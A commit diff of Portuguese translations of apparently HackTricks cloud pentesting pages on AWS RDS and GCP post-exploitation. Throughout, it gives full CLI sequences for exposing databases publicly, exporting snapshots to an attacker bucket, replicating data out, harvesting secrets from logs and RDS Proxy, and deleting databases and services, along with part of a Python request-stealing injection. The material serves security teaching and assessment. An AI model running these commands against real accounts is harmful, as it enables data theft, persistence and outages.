Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/

This commit is contained in:
Translator
2025-11-26 17:17:59 +00:00
parent d5b14abf92
commit 9c0b2c52eb
18 changed files with 1220 additions and 405 deletions

View File

@@ -4,7 +4,7 @@
## RDS
Para mais informações, consulte:
Para mais informações, confira:
{{#ref}}
../../aws-services/aws-relational-database-rds-enum.md
@@ -12,7 +12,7 @@ Para mais informações, consulte:
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
Se o atacante tiver permissões suficientes, ele pode tornar um **DB publicamente acessível** criando um snapshot do DB e, em seguida, criando um DB publicamente acessível a partir do snapshot.
Se o atacante tiver permissões suficientes, ele pode tornar um **DB publicamente acessível** criando um snapshot do DB e, em seguida, um DB publicamente acessível a partir do snapshot.
```bash
aws rds describe-db-instances # Get DB identifier
@@ -39,21 +39,49 @@ aws rds modify-db-instance \
# Connect to the new DB after a few mins
```
### `rds:StopDBCluster` & `rds:StopDBInstance`
Um atacante com rds:StopDBCluster ou rds:StopDBInstance pode forçar a parada imediata de uma instância RDS ou de um cluster inteiro, causando indisponibilidade do banco de dados, conexões interrompidas e interrupção de processos que dependem do banco de dados.
Um atacante com rds:StopDBCluster ou rds:StopDBInstance pode forçar uma parada imediata de uma instância RDS ou de um cluster inteiro, causando indisponibilidade do banco de dados, conexões interrompidas e interrupção de processos que dependem do banco de dados.
Para parar uma única instância de DB (exemplo):
Para parar uma única instância DB (exemplo):
```bash
aws rds stop-db-instance \
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
```
Para parar um cluster inteiro de DB (exemplo):
Para parar um cluster de DB inteiro (exemplo):
```bash
aws rds stop-db-cluster \
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
```
### `rds:Modify*`
Um atacante com permissões rds:Modify* pode alterar configurações críticas e recursos auxiliares (parameter groups, option groups, proxy endpoints and endpoint-groups, target groups, subnet groups, capacity settings, snapshot/cluster attributes, certificates, integrations, etc.) sem tocar diretamente na instância ou no cluster. Alterações como ajustar parâmetros de conexão/timeout, trocar um proxy endpoint, modificar quais certificados são confiáveis, alterar a capacidade lógica ou reconfigurar um subnet group podem enfraquecer a segurança (abrir novos caminhos de acesso), quebrar o roteamento e o load-balancing, invalidar políticas de replicação/backup e, de modo geral, degradar a disponibilidade ou a capacidade de recuperação. Essas modificações também podem facilitar exfiltração de dados indireta ou dificultar uma recuperação ordenada do banco de dados após um incidente.
Mover ou alterar as subnets atribuídas a um RDS subnet group:
```bash
aws rds modify-db-subnet-group \
--db-subnet-group-name <db-subnet-group-name> \
--subnet-ids <subnet-id-1> <subnet-id-2>
```
Altere parâmetros de engine de baixo nível em um cluster parameter group:
```bash
aws rds modify-db-cluster-parameter-group \
--db-cluster-parameter-group-name <parameter-group-name> \
--parameters "ParameterName=<parameter-name>,ParameterValue=<value>,ApplyMethod=immediate"
```
### `rds:Restore*`
Um atacante com permissões rds:Restore* pode restaurar bancos de dados inteiros a partir de snapshots, automated backups, point-in-time recovery (PITR) ou arquivos armazenados no S3, criando novas instâncias ou clusters populados com os dados do ponto selecionado. Essas operações não sobrescrevem os recursos originais — elas criam novos objetos contendo os dados históricos — o que permite a um atacante obter cópias completas e funcionais do banco de dados (de pontos anteriores no tempo ou de arquivos externos no S3) e usá-las para exfiltrar dados, manipular registros históricos ou reconstruir estados anteriores.
Restaurar uma instância de DB para um ponto específico no tempo:
```bash
aws rds restore-db-instance-to-point-in-time \
--source-db-instance-identifier <source-db-instance-identifier> \
--target-db-instance-identifier <target-db-instance-identifier> \
--restore-time "<restore-time-ISO8601>" \
--db-instance-class <db-instance-class> \
--publicly-accessible --no-multi-az
```
### `rds:Delete*`
Um atacante a quem foi concedida rds:Delete* pode remover recursos RDS, excluindo DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups e artefatos relacionados, causando interrupção imediata do serviço, perda de dados, destruição de pontos de recuperação e perda de evidências forenses.
Um atacante com rds:Delete* pode remover recursos RDS, excluindo instâncias DB, clusters, snapshots, backups automatizados, grupos de sub-redes, grupos de parâmetros/opções e artefatos relacionados, causando interrupção imediata do serviço, perda de dados, destruição dos pontos de recuperação e perda de evidências forenses.
```bash
# Delete a DB instance (creates a final snapshot unless you skip it)
aws rds delete-db-instance \
@@ -76,9 +104,9 @@ aws rds delete-db-cluster \
```
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
Um atacante com essas permissões poderia **criar um snapshot de um DB** e torná-lo **publicamente** **disponível**. Depois, ele poderia simplesmente criar em sua própria conta um DB a partir desse snapshot.
Um atacante com essas permissões poderia **criar um snapshot de um DB** e torná-lo **publicamente** **disponível**. Em seguida, ele poderia simplesmente criar em sua própria conta um DB a partir desse snapshot.
Se o atacante **não tiver o `rds:CreateDBSnapshot`**, ele ainda pode tornar **outros** snapshots criados **públicos**.
Se o atacante **não tiver a `rds:CreateDBSnapshot`**, ele ainda poderia tornar **outros** snapshots criados **públicos**.
```bash
# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
@@ -89,11 +117,11 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
```
### `rds:DownloadDBLogFilePortion`
Um atacante com a permissão `rds:DownloadDBLogFilePortion` pode **baixar partes dos arquivos de log de uma instância RDS**. Se dados sensíveis ou credenciais de acesso forem registrados acidentalmente nos logs, o atacante poderia potencialmente usar essa informação para escalar privilégios ou executar ações não autorizadas.
Um atacante com a permissão `rds:DownloadDBLogFilePortion` pode **baixar porções dos arquivos de log de uma instância RDS**. Se dados sensíveis ou credenciais de acesso forem registrados acidentalmente, o atacante poderá potencialmente usar essas informações para escalar privilégios ou executar ações não autorizadas.
```bash
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
```
**Impacto Potencial**: Acesso a informações sensíveis ou ações não autorizadas usando leaked credentials.
**Potential Impact**: Acesso a informações sensíveis ou ações não autorizadas usando leaked credentials.
### `rds:DeleteDBInstance`
@@ -109,28 +137,28 @@ aws rds delete-db-instance --db-instance-identifier target-instance --skip-final
> [!NOTE]
> TODO: Testar
Um atacante com essa permissão pode **exportar um snapshot de instância RDS para um bucket S3**. Se o atacante tiver controle sobre o bucket S3 de destino, ele pode potencialmente acessar dados sensíveis contidos no snapshot exportado.
Um atacante com essa permissão pode **exportar um RDS instance snapshot para um S3 bucket**. Se o atacante tiver controle sobre o S3 bucket de destino, ele pode potencialmente acessar dados sensíveis dentro do snapshot exportado.
```bash
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
```
**Potential impact**: Acesso a dados sensíveis no snapshot exportado.
**Impacto potencial**: Acesso a dados sensíveis no snapshot exportado.
### Replicação de Automated Backups entre Regiões para Restauração Furtiva (`rds:StartDBInstanceAutomatedBackupsReplication`)
### Replicação de backups automatizados entre Regiões para restauração furtiva (`rds:StartDBInstanceAutomatedBackupsReplication`)
Abuse a replicação cross-Region de automated backups para duplicar discretamente os automated backups de uma instância RDS em outra Região da AWS e restaurá-los lá. O atacante pode então tornar o DB restaurado publicamente acessível e redefinir a senha master para acessar os dados fora de banda em uma Região que os defensores podem não monitorar.
Explorar a replicação de backups automatizados entre Regiões para duplicar silenciosamente os backups automatizados de uma instância RDS para outra Região AWS e restaurá-los lá. O atacante pode então tornar o DB restaurado publicamente acessível e redefinir a senha mestre para acessar os dados fora de banda em uma Região que os defensores possam não monitorar.
Permissões necessárias (mínimas):
- `rds:StartDBInstanceAutomatedBackupsReplication` na Região de destino
- `rds:DescribeDBInstanceAutomatedBackups` na Região de destino
- `rds:RestoreDBInstanceToPointInTime` na Região de destino
- `rds:ModifyDBInstance` na Região de destino
- `rds:StopDBInstanceAutomatedBackupsReplication` (limpeza opcional)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (para expor o DB restaurado)
Permissões necessárias (mínimo):
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
- `rds:ModifyDBInstance` in the destination Region
- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
Impacto: Persistência e exfiltração de dados ao restaurar uma cópia dos dados de produção em outra Região e expô-la publicamente com credenciais controladas pelo atacante.
<details>
<summary>CLI de ponta a ponta (substitua os placeholders)</summary>
<summary>CLI de ponta a ponta (substitua os espaços reservados)</summary>
```bash
# 1) Recon (SOURCE region A)
aws rds describe-db-instances \
@@ -196,29 +224,26 @@ aws rds stop-db-instance-automated-backups-replication \
--region <DEST_REGION> \
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
```
</details>
### Habilitar registro completo de SQL via DB parameter groups e exfiltrate via RDS log APIs
Abuse `rds:ModifyDBParameterGroup` com as RDS log download APIs para capturar todas as instruções SQL executadas por aplicações (não são necessárias credenciais do engine DB). Habilite o registro SQL do engine e recupere os arquivos de log via `rds:DescribeDBLogFiles` e `rds:DownloadDBLogFilePortion` (ou o REST `downloadCompleteLogFile`). Útil para coletar queries que podem conter secrets/PII/JWTs.
### Habilitar registro completo de SQL via grupos de parâmetros do DB e exfiltrar via RDS log APIs
Abuse `rds:ModifyDBParameterGroup` com as APIs de download de logs do RDS para capturar todas as instruções SQL executadas por aplicações (não são necessárias credenciais do engine do DB). Habilite o registro de SQL do engine e recupere os arquivos de log via `rds:DescribeDBLogFiles` e `rds:DownloadDBLogFilePortion` (ou o REST `downloadCompleteLogFile`). Útil para coletar queries que podem conter segredos/PII/JWTs.
Permissions needed (minimum):
Permissões necessárias (mínimo):
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (apenas para anexar um grupo de parâmetros customizado se a instância estiver usando o padrão)
- `rds:RebootDBInstance` (para parâmetros que requerem reboot, p.ex., PostgreSQL)
- `rds:ModifyDBInstance` (apenas para anexar um custom parameter group se a instância estiver usando o padrão)
- `rds:RebootDBInstance` (para parâmetros que requerem reboot, e.g., PostgreSQL)
Steps
1) Recon target and current parameter group
Passos
1) Recon do alvo e do current parameter group
```bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table
```
2) Garanta que um DB parameter group customizado esteja anexado (não é possível editar o default)
- Se a instance já usa um grupo customizado, reutilize o seu nome no próximo passo.
- Caso contrário, crie e anexe um que corresponda ao engine family:
2) Garanta que um grupo de parâmetros DB personalizado esteja anexado (não é possível editar o padrão)
- Se a instância já usa um grupo personalizado, reutilize seu nome no próximo passo.
- Caso contrário, crie e anexe um que corresponda à família do engine:
```bash
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
@@ -232,8 +257,8 @@ aws rds modify-db-instance \
--apply-immediately
# Wait until status becomes "available"
```
3) Ativar logging SQL detalhado
- MySQL engines (imediato / sem reboot):
3) Habilitar registro SQL detalhado
- MySQL engines (imediato / sem reinício):
```bash
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
@@ -244,7 +269,7 @@ aws rds modify-db-parameter-group \
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
```
- PostgreSQL engines (reinicialização necessária):
- Motores PostgreSQL (requer reinicialização):
```bash
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
@@ -256,11 +281,11 @@ aws rds modify-db-parameter-group \
# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>
```
4) Deixe a workload rodar (ou gere queries). Statements serão gravados nos engine file logs
4) Deixe o workload rodar (ou gere queries). Statements serão escritos nos engine file logs
- MySQL: `general/mysql-general.log`
- PostgreSQL: `postgresql.log`
5) Descubra e baixe os logs (no DB creds required)
5) Descubra e faça download dos logs (sem DB creds necessários)
```bash
aws rds describe-db-log-files --db-instance-identifier <DB>
@@ -282,7 +307,7 @@ Exemplo de evidência (redigida):
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
```
Limpeza
- Reverter parâmetros aos padrões e reiniciar se necessário:
- Reverter os parâmetros para os padrões e reiniciar se necessário:
```bash
# MySQL
aws rds modify-db-parameter-group \
@@ -297,19 +322,19 @@ aws rds modify-db-parameter-group \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot
```
Impacto: Acesso a dados pós-exploitation ao capturar todas as instruções SQL da aplicação via AWS APIs (no DB creds), potentially leaking secrets, JWTs, and PII.
Impacto: Acesso a dados pós-exploitation ao capturar todas as instruções SQL da aplicação via AWS APIs (sem credenciais do DB), potencialmente leaking secrets, JWTs e PII.
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
Abusar das réplicas de leitura do RDS para obter acesso de leitura out-of-band sem tocar nas credenciais da instância primária. Um atacante pode criar uma read replica a partir de uma instância de produção, redefinir a senha mestre da réplica (isso não altera a primária) e, opcionalmente, expor a réplica publicamente para exfiltrate data.
Abusar de read replicas do RDS para obter acesso de leitura out-of-band sem tocar nas credenciais da instância primária. Um atacante pode criar uma read replica a partir de uma instância de produção, redefinir a master password da replica (isto não altera a primária) e, opcionalmente, expor a replica publicamente para exfiltrar dados.
Permissões necessárias (mínimo):
- `rds:DescribeDBInstances`
- `rds:CreateDBInstanceReadReplica`
- `rds:ModifyDBInstance`
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (se exposta publicamente)
Impacto: Acesso somente leitura aos dados de produção via uma réplica com credenciais controladas pelo atacante; menor probabilidade de detecção já que a primária permanece intocada e a replicação continua.
Impacto: Acesso somente leitura aos dados de produção através de uma replica com credenciais controladas pelo atacante; menor probabilidade de detecção, pois a primária permanece intocada e a replicação continua.
```bash
# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
@@ -340,13 +365,13 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
# Optional: promote for persistence
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
```
Exemplo de evidência (MySQL):
- Estado da DB de réplica: `available`, replicação de leitura: `replicating`
- Conexão bem-sucedida com a nova senha e `@@read_only=1` confirmando acesso à réplica somente leitura.
Evidência de exemplo (MySQL):
- Status do DB de réplica: `available`, replicação de leitura: `replicating`
- Conexão bem-sucedida com a nova senha e `@@read_only=1` confirmando acesso de réplica somente leitura.
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
Abuse o RDS Blue/Green para clonar uma DB de produção em um ambiente green continuamente replicado e somente leitura. Em seguida, redefina as credenciais master do green para acessar os dados sem tocar na instância blue (prod). Isso é mais furtivo do que compartilhamento de snapshot e frequentemente contorna monitoramento focado apenas na fonte.
Abuse RDS Blue/Green para clonar um DB de produção em um ambiente green continuamente replicado e somente leitura. Em seguida, redefina as credenciais master do green para acessar os dados sem tocar na instância blue (prod). Isso é mais furtivo do que o compartilhamento de snapshot e frequentemente contorna monitoramento focado apenas na origem.
```bash
# 1) Recon find eligible source (nonAurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
@@ -393,12 +418,11 @@ aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true
```
Impacto: Somente leitura, mas com acesso completo aos dados de um clone quase em tempo real da produção sem modificar a instância de produção. Útil para extração furtiva de dados e análise offline.
Impacto: Acesso somente leitura, mas com acesso completo aos dados de um clone quase em tempo real da produção sem modificar a instância de produção. Útil para extração furtiva de dados e análise offline.
### SQL fora-de-banda via RDS Data API habilitando HTTP endpoint + resetting master password
### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
Abuse o Aurora para habilitar o RDS Data API HTTP endpoint em um cluster alvo, redefinir a senha mestre para um valor que você controla e executar SQL sobre HTTPS (nenhum caminho de rede VPC é necessário). Funciona em engines Aurora que suportam o Data API/EnableHttpEndpoint (por exemplo, Aurora MySQL 8.0 provisioned; algumas versões do Aurora PostgreSQL/MySQL).
Abuse Aurora para habilitar o HTTP endpoint do RDS Data API em um cluster alvo, resetar a master password para um valor que você controla e executar SQL sobre HTTPS (nenhum caminho de rede VPC é necessário). Funciona em engines Aurora que suportam o Data API/EnableHttpEndpoint (p.ex., Aurora MySQL 8.0 provisioned; algumas versões Aurora PostgreSQL/MySQL).
Permissões (mínimas):
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
@@ -461,19 +485,19 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
</details>
Notas:
- Se multi-statement SQL for rejeitado pelo rds-data, emita chamadas execute-statement separadas.
- Para engines onde modify-db-cluster --enable-http-endpoint não tem efeito, use rds enable-http-endpoint --resource-arn.
- Garanta que o engine/version realmente suporte a Data API; caso contrário HttpEndpointEnabled permanecerá False.
- Se SQL com múltiplas instruções for rejeitado pelo rds-data, faça chamadas separadas execute-statement.
- Para engines em que modify-db-cluster --enable-http-endpoint não surte efeito, use rds enable-http-endpoint --resource-arn.
- Verifique se a engine/versão realmente suporta o Data API; caso contrário HttpEndpointEnabled permanecerá False.
### Harvest DB credentials via RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
### Coletar credenciais do DB via secrets de autenticação do RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
Abuse a configuração do RDS Proxy para descobrir o segredo do Secrets Manager usado para autenticação do backend, então leia o segredo para obter as credenciais do banco de dados. Muitos ambientes concedem amplo `secretsmanager:GetSecretValue`, tornando isto um pivot de baixa fricção para credenciais do DB. Se o segredo usar uma CMK, permissões KMS mal escopadas também podem permitir `kms:Decrypt`.
Abuse a configuração do RDS Proxy para descobrir o secret do Secrets Manager usado na autenticação do backend e, em seguida, leia esse secret para obter as credenciais do banco de dados. Muitos ambientes concedem permissões amplas de `secretsmanager:GetSecretValue`, tornando isso um pivô de baixa fricção para obter credenciais do DB. Se o secret usar uma CMK, permissões KMS mal escopadas também podem permitir `kms:Decrypt`.
Permissões necessárias (mínimo):
- `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` no SecretArn referenciado
- Opcional quando o segredo usa uma CMK: `kms:Decrypt` nessa chave
- Opcional quando o secret usa uma CMK: `kms:Decrypt` nessa chave
Impacto: Divulgação imediata do nome de usuário/senha do DB configurado no proxy; permite acesso direto ao DB ou movimento lateral adicional.
@@ -509,16 +533,16 @@ aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
aws rds wait db-proxy-available --db-proxy-name p0
# Now run the enumeration + secret read from the Steps above
```
Limpeza (lab)
Limpeza (laboratório)
```bash
aws rds delete-db-proxy --db-proxy-name p0
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
```
### Exfiltração contínua furtiva via Aurora zeroETL para Amazon Redshift (rds:CreateIntegration)
### Stealthy continuous exfiltration via Aurora zeroETL to Amazon Redshift (rds:CreateIntegration)
Abusar da integração zeroETL do Aurora PostgreSQL para replicar continuamente dados de produção em um namespace do Redshift Serverless que você controla. Com uma política de recursos do Redshift permissiva que autoriza CreateInboundIntegration/AuthorizeInboundIntegration para um ARN de cluster Aurora específico, um atacante pode estabelecer uma cópia de dados em quase tempo real sem DB creds, snapshots ou exposição de rede.
Abuse Aurora PostgreSQL zeroETL integration to continuously replicate production data into a Redshift Serverless namespace you control. Com uma política de recurso Redshift permissiva que autoriza CreateInboundIntegration/AuthorizeInboundIntegration para um ARN de cluster Aurora específico, um atacante pode estabelecer uma cópia de dados quase em tempo real sem DB creds, snapshots ou exposição de rede.
Permissões necessárias (mínimo):
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
@@ -632,11 +656,12 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
```
</details>
Evidências observadas no teste:
Evidência observada no teste:
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
- SVV_INTEGRATION mostrou integration_id 377a462b-c42c-4f08-937b-77fe75d98211 e state PendingDbConnectState antes da criação do DB.
- Após CREATE DATABASE FROM INTEGRATION, a listagem de tabelas revelou o schema ztl e a tabela customers; a seleção de ztl.customers retornou 2 linhas (Alice, Bob).
- SVV_INTEGRATION mostrou integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation.
- Após CREATE DATABASE FROM INTEGRATION, a listagem de tabelas revelou o schema ztl e a table customers; a seleção de ztl.customers retornou 2 rows (Alice, Bob).
Impacto: Exfiltração contínua quase em tempo real de tabelas selecionadas do Aurora PostgreSQL para Redshift Serverless controlado pelo atacante, sem usar credenciais de banco de dados, backups ou acesso de rede ao cluster de origem.
Impacto: exfiltration contínua, quase em tempo real, de tabelas selecionadas do Aurora PostgreSQL para Redshift Serverless controlado pelo atacante, sem usar credenciais de banco de dados, backups ou acesso de rede ao cluster de origem.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## `App Engine`
Para informações sobre o App Engine veja:
Para informações sobre App Engine veja:
{{#ref}}
../gcp-services/gcp-app-engine-enum.md
@@ -20,28 +20,29 @@ Com essas permissões é possível:
- Excluir
> [!CAUTION]
> Entretanto, eu **não consegui encontrar nenhuma forma de acessar essa informação pelo cli**, apenas pela **web console**, onde você precisa saber o **tipo de chave** e o **nome da chave**, ou a**aplicação em execução no App Engine**.
> No entanto, eu **não consegui encontrar nenhuma maneira de acessar essa informação a partir do cli**, apenas pelo **web console**, onde é preciso saber o **Key type** e o **Key name**, ou a partir do **App Engine running app**.
>
> Se você conhece maneiras mais fáceis de usar essas permissões, envie um Pull Request!
> Se você souber maneiras mais fáceis de usar essas permissões, envie um Pull Request!
### `logging.views.access`
Com essa permissão é possível **ver os logs da aplicação**:
<details>
<summary>Acompanhar logs da aplicação</summary>
Com essa permissão é possível **ver os logs do App**:
```bash
gcloud app logs tail -s <name>
```
</details>
### Exclusão de serviço e versão
### Ler o Código Fonte
As permissões `appengine.versions.delete`, `appengine.versions.list` e `appengine.services.list` permitem gerenciar e excluir versões específicas de uma aplicação App Engine, o que pode afetar o tráfego se ele estiver dividido ou se a única versão estável for removida. Enquanto isso, as permissões `appengine.services.delete` e `appengine.services.list` permitem listar e excluir serviços inteiros—uma ação que interrompe imediatamente todo o tráfego e a disponibilidade das versões associadas.
```bash
gcloud app versions delete <VERSION_ID>
gcloud app services delete <SERVICE_NAME>
```
### Ler o código-fonte
O código-fonte de todas as versões e serviços está **armazenado no bucket** com o nome **`staging.<proj-id>.appspot.com`**. Se você tiver acesso de gravação a ele, pode ler o código-fonte e procurar por **vulnerabilidades** e **informações sensíveis**.
O código-fonte de todas as versões e serviços está **armazenado no bucket** com o nome **`staging.<proj-id>.appspot.com`**. Se você tiver acesso de escrita sobre ele, pode ler o código-fonte e procurar por **vulnerabilidades** e **informações sensíveis**.
### Modificar o Código Fonte
### Modificar o código-fonte
Modifique o código-fonte para roubar credenciais caso elas estejam sendo enviadas ou para realizar um ataque de defacement no site.
Modifique o código-fonte para roubar credentials se elas estiverem sendo enviadas ou realizar um defacement web attack.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Cloud Functions
Encontre informações sobre Cloud Functions em:
Encontre algumas informações sobre Cloud Functions em:
{{#ref}}
../gcp-services/gcp-cloud-functions-enum.md
@@ -12,30 +12,31 @@ Encontre informações sobre Cloud Functions em:
### `cloudfunctions.functions.sourceCodeGet`
Com essa permissão você pode obter um **URL assinado para baixar o código-fonte** da Cloud Function:
<details>
<summary>Obter URL assinado para download do código-fonte</summary>
Com essa permissão você pode obter uma **URL assinada para baixar o código-fonte** da Cloud Function:
```bash
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
```
</details>
### `cloudfunctions.functions.delete`
A permissão `cloudfunctions.functions.delete` permite que uma identidade exclua completamente uma Cloud Function, incluindo seu código, configuração, triggers e sua associação com service accounts.
```bash
gcloud functions delete <FUNCTION_NAME> \
--region=us-central1 \
--quiet
```
### Code Exfiltration through the bucket
As permissões `storage.objects.get` e `storage.objects.list` permitem listar e ler objetos dentro de um bucket, e no caso de Cloud Functions isso é especialmente relevante porque cada função armazena seu código-fonte em um bucket gerenciado automaticamente pelo Google, cujo nome segue o formato `gcf-sources-<PROJECT_NUMBER>-<REGION>`
### Roubar requisições de Cloud Function
Se a Cloud Function estiver lidando com informações sensíveis que os usuários estão enviando (por exemplo, senhas ou tokens), com privilégios suficientes você pode **modificar o código-fonte da função e exfiltrar** essas informações.
### Steal Cloud Function Requests
Além disso, Cloud Functions que rodam em python usam **flask** para expor o servidor web; se você de alguma forma encontrar uma vulnerabilidade de code injection dentro do processo do flask (uma vulnerabilidade SSTI, por exemplo), é possível **sobrescrever o handler da função** que vai receber as requisições HTTP por uma **função maliciosa** que pode **exfiltrar a requisição** antes de repassá-la ao handler legítimo.
Se a Cloud Function estiver processando informações sensíveis que os usuários enviam (por exemplo, senhas ou tokens), com privilégios suficientes você poderia **modify the source code of the function and exfiltrate** essas informações.
Além disso, Cloud Functions que rodam em python usam **flask** para expor o servidor web. Se você de alguma forma encontrar uma vulnerabilidade de code injection dentro do processo do flask (uma vulnerabilidade SSTI, por exemplo), é possível **override the function handler** que vai receber as requisições HTTP por uma **malicious function** que pode **exfiltrate the request** antes de repassá-la para o handler legítimo.
Por exemplo este código implementa o ataque:
<details>
<summary>Roubar requisições de Cloud Function (Python injection)</summary>
```python
import functions_framework
@@ -132,8 +133,4 @@ return "Injection completed!"
except Exception as e:
return str(e)
```
</details>
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,23 +1,34 @@
# GCP - Cloud Run Pós Exploração
# GCP - Cloud Run Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Cloud Run
Para mais informações sobre o Cloud Run, consulte:
Para mais informações sobre Cloud Run, consulte:
{{#ref}}
../gcp-services/gcp-cloud-run-enum.md
{{#endref}}
### Acessar as imagens
### Excluir CloudRun Job
As permissões `run.services.delete` e `run.services.get`, assim como `run.jobs.delete`, permitem que uma identidade exclua completamente um serviço ou job do Cloud Run, incluindo sua configuração e histórico. Nas mãos de um atacante, isso pode causar interrupção imediata de aplicações ou fluxos de trabalho críticos, resultando em uma denial of service (DoS) para usuários e sistemas que dependem da lógica do serviço ou de tarefas agendadas essenciais.
Se você puder acessar as imagens do contêiner, verifique o código em busca de vulnerabilidades e informações sensíveis codificadas. Também procure por informações sensíveis em variáveis de ambiente.
Para excluir um job, a seguinte operação pode ser executada.
```bash
gcloud run jobs delete <JOB_NAME> --region=<REGION> --quiet
```
Para excluir um serviço, a operação a seguir pode ser realizada.
```bash
gcloud run services delete <SERVICE_NAME> --region=<REGION> --quiet
```
### Acessar as images
Se as imagens estiverem armazenadas em repositórios dentro do serviço Artifact Registry e o usuário tiver acesso de leitura sobre os repositórios, ele também poderá baixar a imagem deste serviço.
Se você conseguir acessar as container images, verifique o código em busca de vulnerabilidades e de informações sensíveis hardcoded. Verifique também informações sensíveis nas env variables.
### Modificar e reimplantar a imagem
Se as images estiverem armazenadas em repositórios dentro do serviço Artifact Registry e o usuário tiver acesso de leitura aos repositórios, ele também pode fazer o download da image a partir desse serviço.
Modifique a imagem de execução para roubar informações e reimplante a nova versão (apenas fazer o upload de um novo contêiner docker com as mesmas tags não fará com que ele seja executado). Por exemplo, se estiver expondo uma página de login, roube as credenciais que os usuários estão enviando.
### Modify & redeploy the image
Modifique a imagem em execução para roubar informações e reimplante a nova versão (apenas enviar um novo docker container com as mesmas tags não fará com que ela seja executada). Por exemplo, se estiver expondo uma página de login, capture as credenciais que os usuários estiverem enviando.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,30 +4,48 @@
## IAM <a href="#service-account-impersonation" id="service-account-impersonation"></a>
Você pode encontrar mais informações sobre IAM em:
Você pode encontrar mais informações sobre o IAM em:
{{#ref}}
../gcp-services/gcp-iam-and-org-policies-enum.md
{{#endref}}
### Concessão de acesso ao console de gerenciamento <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
### Concedendo acesso ao console de gerenciamento <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
O acesso ao [GCP management console](https://console.cloud.google.com) é **fornecido a contas de usuário, não a contas de serviço**. Para acessar a interface web, você pode **conceder acesso a um Google account** que você controla. Isso pode ser uma conta genérica "**@gmail.com**", ela **não precisa ser membro da organização alvo**.
O acesso ao [GCP management console](https://console.cloud.google.com) é **fornecido a contas de usuário, não a contas de serviço**. Para entrar na interface web, você pode **conceder acesso a uma conta do Google** que você controla. Isso pode ser uma conta genérica "**@gmail.com**", que **não precisa ser membro da organização alvo**.
